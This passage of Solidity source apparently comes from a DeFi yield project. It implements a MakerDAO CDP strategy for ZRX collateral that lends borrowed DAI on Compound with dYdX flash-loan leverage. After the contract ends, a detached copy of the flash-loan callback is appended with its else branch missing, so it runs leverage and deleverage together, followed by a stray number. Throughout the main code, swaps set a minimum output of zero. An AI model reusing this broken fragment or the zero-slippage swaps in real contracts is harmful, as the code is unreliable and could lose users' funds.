balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external virtual pure returns (string memory); // **** Setters **** // function setDevFundFee(uint256 _devFundFee) external { require(msg.sender == timelock, "!timelock"); devFundFee = _devFundFee; } function setTreasuryFee(uint256 _treasuryFee) external { require(msg.sender == timelock, "!timelock"); treasuryFee = _treasuryFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == timelock, "!timelock"); performanceFee = _performanceFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setMmToken(address _mmToken) external { require(msg.sender == governance, "!governance"); mmToken = _mmToken; } function setBuybackEnabled(bool _buybackEnabled) external { require(msg.sender == governance, "!governance"); buybackEnabled = _buybackEnabled; } function setMasterChef(address _masterChef) external { require(msg.sender == governance, "!governance"); masterChef = _masterChef; } // **** State mutations **** // function deposit() public virtual; function withdraw(IERC20 _asset) external virtual returns (uint256 balance); // Controller only function for creating additional rewards from dust function _withdrawNonWantAsset(IERC20 _asset) internal returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _feeDev = _amount.mul(devFundFee).div(devFundMax); uint256 _feeTreasury = _amount.mul(treasuryFee).div(treasuryMax); if (buybackEnabled == true) { // we want buyback mm using LP token (address _buybackPrinciple, uint256 _buybackAmount) = _convertWantToBuyback(_feeDev.add(_feeTreasury)); buybackAndNotify(_buybackPrinciple, _buybackAmount); } else { IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev); IERC20(want).safeTransfer(IController(controller).treasury(), _feeTreasury); } address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_feeDev).sub(_feeTreasury)); } // buyback MM and notify MasterChef function buybackAndNotify(address _buybackPrinciple, uint256 _buybackAmount) internal { if (buybackEnabled == true) { _swapUniswap(_buybackPrinciple, mmToken, _buybackAmount); uint256 _mmBought = IERC20(mmToken).balanceOf(address(this)); IERC20(mmToken).safeTransfer(masterChef, _mmBought); IMasterchef(masterChef).notifyBuybackReward(_mmBought); } } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); // convert LP to buyback principle token function _convertWantToBuyback(uint256 _lpAmount) internal virtual returns (address, uint256); function harvest() public virtual; // **** Emergency functions **** // **** Internal functions **** function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); address[] memory path; if (_to == mmToken && buybackEnabled == true) { if(_from == zrxBuyback){ path = new address[](4); path[0] = _from; path[1] = weth; path[2] = usdcBuyback; path[3] = _to; } } else{ path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } } interface ManagerLike { function ilks(uint256) external view returns (bytes32); function owns(uint256) external view returns (address); function urns(uint256) external view returns (address); function vat() external view returns (address); function open(bytes32, address) external returns (uint256); function give(uint256, address) external; function frob(uint256, int256, int256) external; function flux(uint256, address, uint256) external; function move(uint256, address, uint256) external; function exit(address, uint256, address, uint256) external; function quit(uint256, address) external; function enter(address, uint256) external; } interface VatLike { function can(address, address) external view returns (uint256); function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); function dai(address) external view returns (uint256); function urns(bytes32, address) external view returns (uint256, uint256); function frob(bytes32, address, address, address, int256, int256) external; function hope(address) external; function move(address, address, uint256) external; } interface GemJoinLike { function dec() external returns (uint256); function join(address, uint256) external payable; function exit(address, uint256) external; } interface DaiJoinLike { function join(address, uint256) external payable; function exit(address, uint256) external; } interface JugLike { function drip(bytes32) external returns (uint256); } interface AggregatorV3Interface { function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } abstract contract StrategyMakerBase is StrategyBase { // MakerDAO modules address public dssCdpManager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public daiJoin = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public jug = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public vat = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public debtToken = 0x6B175474E89094C44Da98b954EedeAC495271d0F; uint256 public minDebt = 2001000000000000000000; address public eth_usd = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // sub-strategy related constants address public collateral; uint256 public collateralDecimal = 1e18; address public gemJoin; address public collateralOracle; bytes32 public collateralIlk; AggregatorV3Interface internal priceFeed; uint256 public collateralPriceDecimal = 1; bool public collateralPriceEth = false; // singleton CDP for this strategy uint256 public cdpId = 0; // configurable minimum collateralization percent this strategy would hold for CDP uint256 public minRatio = 300; // collateralization percent buffer in CDP debt actions uint256 public ratioBuff = 500; uint256 public ratioBuffMax = 10000; uint256 constant RAY = 10 ** 27; // Keeper bots, maintain ratio above minimum requirement mapping(address => bool) public keepers; constructor( address _collateralJoin, bytes32 _collateralIlk, address _collateral, uint256 _collateralDecimal, address _collateralOracle, uint256 _collateralPriceDecimal, bool _collateralPriceEth, address _want, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_want, _governance, _strategist, _controller, _timelock) { require(_want == _collateral, '!mismatchWant'); gemJoin = _collateralJoin; collateralIlk = _collateralIlk; collateral = _collateral; collateralDecimal = _collateralDecimal; collateralOracle = _collateralOracle; priceFeed = AggregatorV3Interface(collateralOracle); collateralPriceDecimal = _collateralPriceDecimal; collateralPriceEth = _collateralPriceEth; } // **** Modifiers **** // modifier onlyKeepers { require( keepers[msg.sender] || msg.sender == address(this) || msg.sender == strategist || msg.sender == governance, "!keepers" ); _; } modifier onlyGovernanceAndStrategist { require(msg.sender == governance || msg.sender == strategist, "!governance"); _; } modifier onlyCDPInUse { uint256 collateralAmt = getCollateralBalance(); require(collateralAmt > 0, '!zeroCollateral'); uint256 debtAmt = getDebtBalance(); require(debtAmt > 0, '!zeroDebt'); _; } modifier onlyCDPInitiated { require(cdpId > 0, '!noCDP'); _; } modifier onlyAboveMinDebt(uint256 _daiAmt) { uint256 debtAmt = getDebtBalance(); require((_daiAmt < debtAmt && (debtAmt.sub(_daiAmt) >= minDebt)) || debtAmt <= _daiAmt, '!minDebt'); _; } function getCollateralBalance() public view returns (uint256) { (uint256 ink, ) = VatLike(vat).urns(collateralIlk, ManagerLike(dssCdpManager).urns(cdpId)); return ink; } function getDebtBalance() public view returns (uint256) { address urnHandler = ManagerLike(dssCdpManager).urns(cdpId); (, uint256 art) = VatLike(vat).urns(collateralIlk, urnHandler); (, uint256 rate, , , ) = VatLike(vat).ilks(collateralIlk); uint rad = mul(art, rate); if (rad == 0) { return 0; } uint256 wad = rad / RAY; return mul(wad, RAY) < rad ? wad + 1 : wad; } // **** Getters **** function balanceOfPool() public override view returns (uint256){ return getCollateralBalance(); } function collateralValue(uint256 collateralAmt) public view returns (uint256){ uint256 collateralPrice = getLatestCollateralPrice(); return collateralAmt.mul(collateralPrice).mul(1e18).div(collateralDecimal).div(collateralPriceDecimal); } function currentRatio() public onlyCDPInUse view returns (uint256) { uint256 collateralAmt = collateralValue(getCollateralBalance()).mul(100); uint256 debtAmt = getDebtBalance(); return collateralAmt.div(debtAmt); } // if borrow is true (for lockAndDraw): return (maxDebt - currentDebt) if positive value, otherwise return 0 // if borrow is false (for redeemAndFree): return (currentDebt - maxDebt) if positive value, otherwise return 0 function calculateDebtFor(uint256 collateralAmt, bool borrow) public view returns (uint256) { uint256 maxDebt = collateralValue(collateralAmt).mul(10000).div(minRatio.mul(10000).mul(ratioBuffMax + ratioBuff).div(ratioBuffMax).div(100)); uint256 debtAmt = getDebtBalance(); uint256 debt = 0; if (borrow && maxDebt >= debtAmt){ debt = maxDebt.sub(debtAmt); } else if (!borrow && debtAmt >= maxDebt){ debt = debtAmt.sub(maxDebt); } return (debt > 0)? debt : 0; } function borrowableDebt() public view returns (uint256) { uint256 collateralAmt = getCollateralBalance(); return calculateDebtFor(collateralAmt, true); } function requiredPaidDebt(uint256 _redeemCollateralAmt) public view returns (uint256) { uint256 collateralAmt = getCollateralBalance().sub(_redeemCollateralAmt); return calculateDebtFor(collateralAmt, false); } // **** sub-strategy implementation **** function _convertWantToBuyback(uint256 _lpAmount) internal virtual override returns (address, uint256); function _depositDAI(uint256 _daiAmt) internal virtual; function _withdrawDAI(uint256 _daiAmt) internal virtual; // **** Oracle (using chainlink) **** function getLatestCollateralPrice() public view returns (uint256){ require(collateralOracle != address(0), '!_collateralOracle'); ( uint80 roundID, int price, uint startedAt, uint timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); if (price > 0){ int ethPrice = 1; if (collateralPriceEth){ (,ethPrice,,,) = AggregatorV3Interface(eth_usd).latestRoundData(); } return uint256(price).mul(collateralPriceDecimal).mul(uint256(ethPrice)).div(1e8).div(collateralPriceEth? 1e18 : 1); } else{ return 0; } } // **** Setters **** function setMinDebt(uint256 _minDebt) external onlyGovernanceAndStrategist { minDebt = _minDebt; } function setMinRatio(uint256 _minRatio) external onlyGovernanceAndStrategist { minRatio = _minRatio; } function setRatioBuff(uint256 _ratioBuff) external onlyGovernanceAndStrategist { ratioBuff = _ratioBuff; } function setKeeper(address _keeper, bool _enabled) external onlyGovernanceAndStrategist { keepers[_keeper] = _enabled; } // **** MakerDAO CDP actions **** function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } function toRad(uint256 wad) internal pure returns (uint256 rad) { rad = mul(wad, RAY); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint256 x) internal pure returns (int256 y) { y = int256(x); require(y >= 0, "int-overflow"); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { wad = mul(amt, 10 ** (18 - GemJoinLike(gemJoin).dec())); } function _getDrawDart(address vat, address jug, address urn, bytes32 ilk, uint wad) internal returns (int256 dart) { uint256 rate = JugLike(jug).drip(ilk); uint256 dai = VatLike(vat).dai(urn); if (dai < toRad(wad)) { dart = toInt(sub(toRad(wad), dai).div(rate)); dart = mul(uint256(dart), rate) < toRad(wad) ? dart + 1 : dart; } } function _getWipeDart(address vat, uint dai, address urn, bytes32 ilk) internal view returns (int256 dart) { (, uint256 rate,,,) = VatLike(vat).ilks(ilk); (, uint256 art) = VatLike(vat).urns(ilk, urn); dart = toInt(dai.div(rate)); dart = uint256(dart) <= art ? - dart : - toInt(art); } function openCDP() external { require(msg.sender == governance, "!governance"); require(cdpId <= 0, "!cdpAlreadyOpened"); cdpId = ManagerLike(dssCdpManager).open(collateralIlk, address(this)); IERC20(collateral).approve(gemJoin, uint256(-1)); IERC20(debtToken).approve(daiJoin, uint256(-1)); } function getUrnVatIlk() internal returns (address, address, bytes32){ return (ManagerLike(dssCdpManager).urns(cdpId), ManagerLike(dssCdpManager).vat(), ManagerLike(dssCdpManager).ilks(cdpId)); } function addCollateralAndBorrow(uint256 _collateralAmt, uint256 _daiAmt) internal onlyCDPInitiated { require(_daiAmt.add(getDebtBalance()) >= minDebt, '!minDebt'); (address urn, address vat, bytes32 ilk) = getUrnVatIlk(); GemJoinLike(gemJoin).join(urn, _collateralAmt); ManagerLike(dssCdpManager).frob(cdpId, toInt(convertTo18(gemJoin, _collateralAmt)), _getDrawDart(vat, jug, urn, ilk, _daiAmt)); ManagerLike(dssCdpManager).move(cdpId, address(this), toRad(_daiAmt)); if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } DaiJoinLike(daiJoin).exit(address(this), _daiAmt); } function repayAndRedeemCollateral(uint256 _collateralAmt, uint _daiAmt) internal onlyCDPInitiated onlyAboveMinDebt(_daiAmt) { (address urn, address vat, bytes32 ilk) = getUrnVatIlk(); if (_daiAmt > 0){ DaiJoinLike(daiJoin).join(urn, _daiAmt); } uint256 wad18 = _collateralAmt > 0? convertTo18(gemJoin, _collateralAmt) : 0; ManagerLike(dssCdpManager).frob(cdpId, -toInt(wad18), _getWipeDart(vat, VatLike(vat).dai(urn), urn, ilk)); if (_collateralAmt > 0){ ManagerLike(dssCdpManager).flux(cdpId, address(this), wad18); GemJoinLike(gemJoin).exit(address(this), _collateralAmt); } } // **** State Mutation functions **** function keepMinRatio() external onlyCDPInUse onlyKeepers { uint256 requiredPaidback = requiredPaidDebt(0); if (requiredPaidback > 0){ _withdrawDAI(requiredPaidback); uint256 wad = IERC20(debtToken).balanceOf(address(this)); require(wad >= requiredPaidback, '!keepMinRatioRedeem'); repayAndRedeemCollateral(0, requiredPaidback); uint256 goodRatio = currentRatio(); require(goodRatio >= minRatio.sub(1), '!stillBelowMinRatio'); } } function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { uint256 _newDebt = calculateDebtFor(_want.add(getCollateralBalance()), true); if(_newDebt > 0 && _newDebt.add(getDebtBalance()) >= minDebt){ addCollateralAndBorrow(_want, _newDebt); uint256 wad = IERC20(debtToken).balanceOf(address(this)); _depositDAI(_newDebt > wad? wad : _newDebt); } } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 requiredPaidback = requiredPaidDebt(_amount); if (requiredPaidback > 0){ _withdrawDAI(requiredPaidback); require(IERC20(debtToken).balanceOf(address(this)) >= requiredPaidback, '!mismatchAfterWithdraw'); } repayAndRedeemCollateral(_amount, requiredPaidback); return _amount; } } /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } } /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } } interface IERC3156FlashLender { function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external; } interface IERC3156FlashBorrower { function onFlashLoan(address sender, address token, uint256 amount, uint256 fee, bytes calldata data) external; } abstract contract StrategyCmpdDaiBase is Exponential, IERC3156FlashBorrower{ using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; enum Action {LEVERAGE, DELEVERAGE} bytes DATA_LEVERAGE = abi.encode(Action.LEVERAGE); bytes DATA_DELEVERAGE = abi.encode(Action.DELEVERAGE); address public constant comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant lens = 0xd513d22422a3062Bd342Ae374b4b9c20E0a9a074; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888; address public constant cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant cether = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public dydxFlashloanWrapper = 0x6bdC1FCB2F13d1bA9D26ccEc3983d5D4bf318693; address public constant dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; bool public dydxFlashloanEnabled = true; // Require a 0.1 buffer between market collateral factor and strategy's collateral factor when leveraging uint256 colFactorLeverageBuffer = 100; uint256 colFactorLeverageBufferMax = 1000; // Allow a 0.05 buffer between market collateral factor and strategy's collateral factor until we have to deleverage // This is so we can hit max leverage and keep accruing interest uint256 colFactorSyncBuffer = 50; uint256 colFactorSyncBufferMax = 1000; event FlashLoanLeverage(uint256 _amount, uint256 _fee, bytes _data, Action action); event FlashLoanDeleverage(uint256 _amount, uint256 _fee, bytes _data, Action action); constructor() public { // Enter cDAI Market address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).enterMarkets(ctokens); IERC20(dai).safeApprove(cdai, uint256(-1)); } // **** Modifiers **** // // **** Views **** // function getSuppliedView() public view returns (uint256) { (, uint256 cTokenBal, , uint256 exchangeRate) = ICToken(cdai).getAccountSnapshot(address(this)); (, uint256 bal) = mulScalarTruncate(Exp({mantissa: exchangeRate}), cTokenBal); return bal; } function getBorrowedView() public view returns (uint256) { return ICToken(cdai).borrowBalanceStored(address(this)); } // Given an unleveraged supply balance, return the target leveraged supply balance which is still within the safety buffer function getLeveragedSupplyTarget(uint256 supplyBalance) public view returns (uint256) { uint256 leverage = getMaxLeverage(); return supplyBalance.mul(leverage).div(1e18); } function getSafeLeverageColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub(colFactorLeverageBuffer.mul(1e18).div(colFactorLeverageBufferMax)); return safeColFactor; } function getSafeSyncColFactor() public view returns (uint256) { uint256 colFactor = getMarketColFactor(); // Collateral factor within the buffer uint256 safeColFactor = colFactor.sub(colFactorSyncBuffer.mul(1e18).div(colFactorSyncBufferMax)); return safeColFactor; } function getMarketColFactor() public view returns (uint256) { (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); return colFactor; } // Max leverage we can go up to, w.r.t safe buffer function getMaxLeverage() public view returns (uint256) { uint256 safeLeverageColFactor = getSafeLeverageColFactor(); // Infinite geometric series uint256 leverage = uint256(1e36).div(1e18 - safeLeverageColFactor); return leverage; } // If we have a strategy position at this SOS borrow rate and left unmonitored for 24+ hours, we might get liquidated // To safeguard with enough buffer, we divide the borrow rate by 2 which indicates allowing 48 hours response time function getSOSBorrowRate() public view returns (uint256) { uint256 safeColFactor = getSafeLeverageColFactor(); return (colFactorLeverageBuffer.mul(182).mul(1e36).div(colFactorLeverageBufferMax)).div(safeColFactor); } // **** Pseudo-view functions (use `callStatic` on these) **** // /* The reason why these exists is because of the nature of the interest accruing supply + borrow balance. The "view" methods are technically snapshots and don't represent the real value. As such there are pseudo view methods where you can retrieve the results by calling `callStatic`. */ function getCompAccrued() public returns (uint256) { (, , , uint256 accrued) = ICompoundLens(lens).getCompBalanceMetadataExt(comp, comptroller, address(this)); return accrued; } function getColFactor() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return borrowed.mul(1e18).div(supplied); } function getSuppliedUnleveraged() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.sub(borrowed); } function getSupplied() public returns (uint256) { return ICToken(cdai).balanceOfUnderlying(address(this)); } function getBorrowed() public returns (uint256) { return ICToken(cdai).borrowBalanceCurrent(address(this)); } function getBorrowable() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); (, uint256 colFactor) = IComptroller(comptroller).markets(cdai); // 99.99% just in case some dust accumulates return supplied.mul(colFactor).div(1e18).sub(borrowed).mul(9999).div(10000); } function getCurrentLeverage() public returns (uint256) { uint256 supplied = getSupplied(); uint256 borrowed = getBorrowed(); return supplied.mul(1e18).div(supplied.sub(borrowed)); } // **** State mutations **** // // Leverages until we're supplying <x> amount function _lUntil(uint256 _supplyAmount) internal { uint256 leverage = getMaxLeverage(); uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 supplied = getSupplied(); require(_supplyAmount >= unleveragedSupply && _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18) && _supplyAmount >= supplied, "!leverage"); // Since we're only leveraging one asset // Supplied = borrowed uint256 _gap = _supplyAmount.sub(supplied); if (_flashloanApplicable(_gap)){ IERC3156FlashLender(dydxFlashloanWrapper).flashLoan(address(this), dai, _gap, DATA_LEVERAGE); }else{ uint256 _borrowAndSupply; while (supplied < _supplyAmount) { _borrowAndSupply = getBorrowable(); if (supplied.add(_borrowAndSupply) > _supplyAmount) { _borrowAndSupply = _supplyAmount.sub(supplied); } _leveraging(_borrowAndSupply, false); supplied = supplied.add(_borrowAndSupply); } } } // Deleverages until we're supplying <x> amount function _dlUntil(uint256 _supplyAmount) internal { uint256 unleveragedSupply = getSuppliedUnleveraged(); uint256 supplied = getSupplied(); require(_supplyAmount >= unleveragedSupply && _supplyAmount <= supplied, "!deleverage"); // Since we're only leveraging on 1 asset // redeemable = borrowable uint256 _gap = supplied.sub(_supplyAmount); if (_flashloanApplicable(_gap)){ IERC3156FlashLender(dydxFlashloanWrapper).flashLoan(address(this), dai, _gap, DATA_DELEVERAGE); } else{ uint256 _redeemAndRepay = getBorrowable(); do { if (supplied.sub(_redeemAndRepay) < _supplyAmount) { _redeemAndRepay = supplied.sub(_supplyAmount); } _deleveraging(_redeemAndRepay, _redeemAndRepay, false); supplied = supplied.sub(_redeemAndRepay); } while (supplied > _supplyAmount); } } // **** internal state changer **** // for redeem supplied (unleveraged) DAI from compound function _redeemDAI(uint256 _want) internal { uint256 maxRedeem = getSuppliedUnleveraged(); _want = _want > maxRedeem? maxRedeem : _want; uint256 _redeem = _want; if (_redeem > 0) { // Make sure market can cover liquidity require(ICToken(cdai).getCash() >= _redeem, "!cash-liquidity"); // How much borrowed amount do we need to free? uint256 borrowed = getBorrowed(); uint256 supplied = getSupplied(); uint256 curLeverage = getCurrentLeverage(); uint256 borrowedToBeFree = _redeem.mul(curLeverage).div(1e18); // If the amount we need to free is > borrowed, Just free up all the borrowed amount if (borrowedToBeFree > borrowed) { _dlUntil(getSuppliedUnleveraged()); } else { // Otherwise just keep freeing up borrowed amounts until we hit a safe number to redeem our underlying _dlUntil(supplied.sub(borrowedToBeFree)); } // Redeems underlying require(ICToken(cdai).redeemUnderlying(_redeem) == 0, "!redeem"); } } function _supplyDAI(uint256 _wad) internal { if (_wad > 0) { require(ICToken(cdai).mint(_wad) == 0, "!depositIntoCmpd"); } } function _claimComp() internal { address[] memory ctokens = new address[](1); ctokens[0] = cdai; IComptroller(comptroller).claimComp(address(this), ctokens); } function _flashloanApplicable(uint256 _gap) internal returns (bool){ return dydxFlashloanEnabled && IERC20(dai).balanceOf(dydxSoloMargin) > _gap && _gap > 0; } //dydx flashloan callback function onFlashLoan(address origin, address _token, uint256 _amount, uint256 _loanFee, bytes calldata _data) public override { require(_token == dai && msg.sender == dydxFlashloanWrapper && origin == address(this), "!Flash"); uint256 total = _amount.add(_loanFee); require(IERC20(dai).balanceOf(address(this)) >= _amount, '!balFlash'); (Action action) = abi.decode(_data, (Action)); if (action == Action.LEVERAGE){ _leveraging(total, true); emit FlashLoanLeverage(_amount, _loanFee, _data, Action.LEVERAGE); } else{ _deleveraging(_amount, total, true); emit FlashLoanDeleverage(_amount, _loanFee, _data, Action.DELEVERAGE); } require(IERC20(dai).balanceOf(address(this)) >= total, '!deficitFlashRepay'); } function _leveraging(uint256 _borrowAmount, bool _flash) internal { if (_flash){ _supplyDAI(IERC20(dai).balanceOf(address(this))); require(ICToken(cdai).borrow(_borrowAmount) == 0, "!bFlashLe"); } else{ require(ICToken(cdai).borrow(_borrowAmount) == 0, "!bLe"); _supplyDAI(IERC20(dai).balanceOf(address(this))); } } function _deleveraging(uint256 _repayAmount, uint256 _redeemAmount, bool _flash) internal { if (_flash){ require(ICToken(cdai).repayBorrow(_repayAmount) == 0, "!rFlashDe"); require(ICToken(cdai).redeemUnderlying(_redeemAmount) == 0, "!reFlashDe"); } else{ require(ICToken(cdai).redeemUnderlying(_redeemAmount) == 0, "!reDe"); require(ICToken(cdai).repayBorrow(_repayAmount) == 0, "!rDe"); } } } contract StrategyMakerZRXV1 is StrategyMakerBase, StrategyCmpdDaiBase { // strategy specific address public zrx_collateral = 0xE41d2489571d322189246DaFA5ebDe1F4699F498; address public zrx_eth = 0x2Da4983a622a8498bb1a21FaE9D8F6C664939962; uint256 public zrx_collateral_decimal = 1e18; bytes32 public zrx_ilk = "ZRX-A"; address public zrx_apt = 0xc7e8Cd72BDEe38865b4F5615956eF47ce1a7e5D0; uint256 public zrx_price_decimal = 1e2; bool public zrx_price_eth = true; constructor(address _governance, address _strategist, address _controller, address _timelock) public StrategyMakerBase( zrx_apt, zrx_ilk, zrx_collateral, zrx_collateral_decimal, zrx_eth, zrx_price_decimal, zrx_price_eth, zrx_collateral, _governance, _strategist, _controller, _timelock ) { // approve for dex swap IERC20(zrx_collateral).safeApprove(univ2Router2, uint256(-1)); IERC20(comp).safeApprove(univ2Router2, uint256(-1)); IERC20(dai).safeApprove(dydxFlashloanWrapper, uint256(-1)); } // **** Setters **** function setColFactorLeverageBuffer(uint256 _colFactorLeverageBuffer) public onlyGovernanceAndStrategist { colFactorLeverageBuffer = _colFactorLeverageBuffer; } function setColFactorSyncBuffer(uint256 _colFactorSyncBuffer) public onlyGovernanceAndStrategist { colFactorSyncBuffer = _colFactorSyncBuffer; } function setDydxFlashloanEnabled(bool _dydxFlashloanEnabled) public onlyGovernanceAndStrategist { dydxFlashloanEnabled = _dydxFlashloanEnabled; } // **** State Mutation functions **** function leverageToMax() public onlyKeepers{ uint256 idealSupply = getLeveragedSupplyTarget(getSuppliedUnleveraged()); _lUntil(idealSupply); } function deleverageToMin() public onlyKeepers{ _dlUntil(getSuppliedUnleveraged()); } function harvest() public override onlyBenevolent { _claimComp(); uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > 0) { _swapUniswap(comp, want, _comp); } uint256 _want = IERC20(want).balanceOf(address(this)); uint256 _buybackAmount = _want.mul(performanceFee).div(performanceMax); if (buybackEnabled == true && _buybackAmount > 0) { buybackAndNotify(want, _buybackAmount); } // re-invest to compounding profit deposit(); } function _convertWantToBuyback(uint256 _lpAmount) internal override returns (address, uint256){ return (zrx_collateral, _lpAmount); } function _depositDAI(uint256 _daiAmt) internal override{ _supplyDAI(_daiAmt); } function _withdrawDAI(uint256 _daiAmt) internal override{ _redeemDAI(_daiAmt); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external override returns (uint256 balance) { require(cdai != address(_asset), "!cToken"); _withdrawNonWantAsset(_asset); } // **** Views **** function getName() external override pure returns (string memory) { return "StrategyMakerZRXV1"; } }
dydx flashloan callback
function onFlashLoan(address origin, address _token, uint256 _amount, uint256 _loanFee, bytes calldata _data) public override { require(_token == dai && msg.sender == dydxFlashloanWrapper && origin == address(this), "!Flash"); uint256 total = _amount.add(_loanFee); require(IERC20(dai).balanceOf(address(this)) >= _amount, '!balFlash'); (Action action) = abi.decode(_data, (Action)); if (action == Action.LEVERAGE){ _leveraging(total, true); emit FlashLoanLeverage(_amount, _loanFee, _data, Action.LEVERAGE); _deleveraging(_amount, total, true); emit FlashLoanDeleverage(_amount, _loanFee, _data, Action.DELEVERAGE); } require(IERC20(dai).balanceOf(address(this)) >= total, '!deficitFlashRepay'); }
2,187,860
